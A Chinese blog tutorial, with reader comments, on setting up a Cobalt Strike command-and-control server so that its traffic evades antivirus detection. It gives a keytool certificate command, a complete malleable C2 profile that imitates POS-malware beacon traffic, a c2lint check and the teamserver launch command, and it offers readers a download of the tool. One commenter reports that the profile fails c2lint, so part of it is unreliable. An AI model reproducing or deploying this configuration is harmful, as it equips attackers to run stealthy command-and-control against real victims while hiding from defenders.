渗透测试|CobaltStrike配置C2-profile文件【加密流量实现免杀】

TRY 3,298 5

至少我们曾经在一起过。

来自:一言

前言

CobaltStrike(简称‘cs’)自带了ssl证书,不过该证书已经被杀软标记了[aru_3],所以我们得生成自己的免费证书替换掉cs自带的证书,监听的时候选https的。

该操作从渣渣辉博客学到的[aru_14],偷一手干货,以下是我使用的cs版本,有需要的朋友欢迎进群下载哦~

渗透测试|CobaltStrike配置C2-profile文件【加密流量实现免杀】

证书生成

1.利用keytool生成自己的免费证书(可在kali上生成)

keytool -genkey -alias tryblog -keyalg RSA -validity 36500 -keystore tryblog.store
温馨提示

注意记得-alias后面的参数和-keystore后面的参数后面会用到C2-profile里面[aru_20]

接下来需要输入密码,一定要记得这串密码,后面会用到,不然到时候你需要自己回来重新生成下

渗透测试|CobaltStrike配置C2-profile文件【加密流量实现免杀】

注意:里面的内容随意填写,问你是否正确的时候输入y,然后回车后就成功生成了。证书就在当前目录下

创建C2.profile文件

1.新建一个文件,名叫c2.profile,加入以下内容

set sample_name "tryblog POS Malware";

set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter

set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";

#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
    set CN       "TRY"; 
    set O        "TRY";   
    set C        "TRY";
    set L        "TRY";
    set OU       "TRY";  
    set ST       "TRY";
    set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
    set keystore "tryblog.store";
    set password "tryblog";
    set alias "tryblog";
}

#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";

#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";

#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns    "235";

http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";

        id {
            netbios;
            parameter "id";
        }

        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }

    server {
        output {
            print;
        }
    }
}

http-get {
    set uri "/updates";

    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/plain";

        output {
            base64;
            print;
        }
    }
}
在上面的生成命令中的alias以及keystore后面的字段对应好

验证证书

1.进入cs文件夹,将刚刚生成的证书,和创建的c2.profile文件复制进去。

./c2lint C2.profile       #命令后面跟你自己的c2文件

这样就基本成功了。

渗透测试|CobaltStrike配置C2-profile文件【加密流量实现免杀】

使用证书启动teamserver

nohup ./teamserver 1.1.2.3 123456 ./C2.profile &        #nohup就是把程序挂在后台运行
温馨提示

建议编辑teamserver文件,在最后把启动的端口修改一下,尽量别使用默认端口启动。[aru_21]

关于免杀

先说一下,不是说你换了ssl证书后生成的文件就直接免杀了[aru_22]。这个只是把流量进行加密,然后你要免杀的话还是要生成payload自己进行免杀的,不过这样以后免杀的效果会好很多,就这样吧,有什么问题欢迎进群讨论。

发表评论 取消回复
表情 图片 链接 代码

  1. 匿名用户
    匿名用户 Lv 1

    感谢大佬分享

  2. 1111
    1111 Lv 1

    渣渣辉那 也看到过这篇文章

    • TRY
      TRY 站长

      @1111哈哈哈,文章开头说啦~

  3. dawson0x00
    dawson0x00 Lv 1

    晕,试了好多次都提示以下问题:
    ➜ cobaltstrike ./c2lint c2.profile
    [-] Error(s) while compiling c2.profile
    Error: invalid option for <Global> at line 1
    sample_name
    Error: Block is not valid for <Global> at line 19
    code-signer

  4. kepler404
    kepler404 Lv 1

    谢谢大佬,学到了

分享